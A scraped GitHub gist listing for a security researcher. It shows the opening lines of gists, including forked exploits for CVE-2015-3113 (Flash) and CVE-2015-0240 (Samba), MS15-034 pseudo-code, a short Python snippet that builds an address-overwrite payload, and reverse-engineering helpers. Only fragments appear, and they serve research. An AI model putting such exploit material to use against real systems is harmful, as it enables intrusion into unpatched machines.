Skip to content

Instantly share code, notes, and snippets.

View huyna's full-sized avatar

huyna

7 followers · 5 following
View GitHub Profile
@huyna
huyna / cve2015_3113.as
Last active August 30, 2015 06:00 — forked from mak/cve2015_3113.as
CVE-2015-3113 from 205a625ebc3b0a9b286dc8f065845433
package
{
import flash.display.MovieClip;
import flash.utils.ByteArray;
import flash.net.URLLoader;
import flash.utils.Timer;
import flash.media.Video;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.events.Event;
@huyna
huyna / strace-static.diff
Created October 1, 2015 10:06 — forked from jduck/strace-static.diff
Enable static for building strace for Android
# dev:~/android/source/external/strace$ git diff
#
# to apply & build:
#
# dev:~/android/source/external/strace$ patch -p1 < strace-static.diff
# dev:~/android/source/external/strace$ cd ../..
# dev:~/android/source$ mmm external/strace
#
diff --git a/Android.mk b/Android.mk
index 5274280..4f1707e 100644
@huyna
huyna / 11111
Created October 24, 2015 09:17
import struct
data1 = struct.pack('<i',0x08048883)+'\x00'
data1 = data1+'b'*(38-len(data1))+ '\x18\xa0'
data2 = struct.pack('<i',0x08048610)+'\x00'
data2 = data2+'c'*(38-len(data2))+ '\x24\xa0'
print data1+data2
@huyna
huyna / hash
Last active November 12, 2015 08:30
3B9DCDD69AC7615CD0E2941DC8E23DDF
5730866B34EF589BD398C9A9B6D7E307
7D71593A7D159C754055E16C26B844112E7B4132
@huyna
huyna / http_sys_pseudo.c
Created December 15, 2015 02:37 — forked from worawit/http_sys_pseudo.c
MS15-034 (CVE-2015-1635) PoCs
/*
Pseudo code in HTTP.sys to understand flow related to MS15-034
All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86
For anyone want to know what function are patched.
Just open patched version and find all functions reference to RtlULongLongAdd().
*/
@huyna
huyna / cve-2015-0240_samba_exploit.py
Created December 15, 2015 02:38 — forked from worawit/cve-2015-0240_samba_exploit.py
Exploit for Samba vulnerabilty (CVE-2015-0240)
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
@huyna
huyna / 122313
Last active December 25, 2015 08:29
1449130208829
@huyna
huyna / 123414
Created February 18, 2016 08:57
https://drive.google.com/file/d/0B9Cw8k5__G16c05aeG81QjVRRlk/view?pref=2&pli=1
@huyna
huyna / gist:41a8579ed9d86cf770f3
Created February 26, 2016 03:44 — forked from bNull/gist:6003874
IDA Python script that will allow you to highlight a range of bytes and turn it into dwords (for manually fixing up tables or whatever).
# hotkey_utils.py - bNull
#
# Some useful shortcuts for binding to hotkeys. Current output/hotkeys:
#
# [+] Bound make_dwords to Ctrl-Alt-D
# [+] Bound make_cstrings to Ctrl-Alt-A
# [+] Bound make_offset to Ctrl-Alt-O
import idaapi
import idc
@huyna
huyna / DexGuardDecoder.java
Created March 9, 2016 12:05 — forked from AKosterin/DexGuardDecoder.java
New Dexguard String decoder for JEB 1.5. Tested on GFE 3.1.3. This release auto parse decoder function.
import jeb.api.IScript;
import jeb.api.JebInstance;
import jeb.api.ast.*;
import jeb.api.ast.Class;
import jeb.api.dex.*;
import jeb.api.ui.JavaView;
import jeb.api.ui.View;
import java.util.Arrays;
import java.util.HashMap;